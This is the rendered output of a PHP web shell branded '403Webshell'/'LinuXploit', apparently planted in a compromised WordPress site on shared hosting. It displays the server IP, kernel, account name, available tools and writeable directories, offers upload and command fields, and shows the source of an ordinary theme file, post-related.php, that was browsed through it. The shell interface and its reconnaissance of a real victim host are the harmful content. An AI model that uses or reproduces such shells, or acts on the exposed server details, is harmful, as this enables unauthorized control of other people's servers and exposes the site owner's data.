403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/thevoux-wp/inc/templates/postbits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/thevoux-wp/inc/templates/postbits/post-related.php
<!-- Start Related Posts -->
<?php
	global $post; 
  $postId = get_the_id();
  	$tags = wp_get_post_tags($postId);
  
	if ($tags) {
	  $tag_ids = array();
		foreach($tags as $individual_tag) { $tag_ids[] = $individual_tag->term_id; }
	  $args = array(
	    'tag__in' => $tag_ids,
	    'post__not_in' => array($postId),
	    'posts_per_page' => ot_get_option('related_count', '6'),
	    'ignore_sticky_posts' => 1,
	    'no_found_rows' => true,
	  );
	$related_posts = new WP_Query( $args );
	
	if ($related_posts->have_posts()) : ?>
	<div class="row post">
		<aside class="small-12 columns post-content related-posts">
			<h4><strong><?php _e( 'Related News', 'thevoux' ); ?></strong></h4>
			<div class="row relatedposts hide-on-print">
			  <?php while ($related_posts->have_posts()) : $related_posts->the_post(); ?>             
			    <div class="small-6 medium-4 columns">
			    	<?php get_template_part( 'inc/templates/loop/mega-menu' ); ?>
			    </div>
			  <?php endwhile; ?>
			</div>
		</aside>
	</div>
	<?php endif; 
	}
	wp_reset_postdata();
?>
<!-- End Related Posts -->

Youez - 2016 - github.com/yon3zu
LinuXploit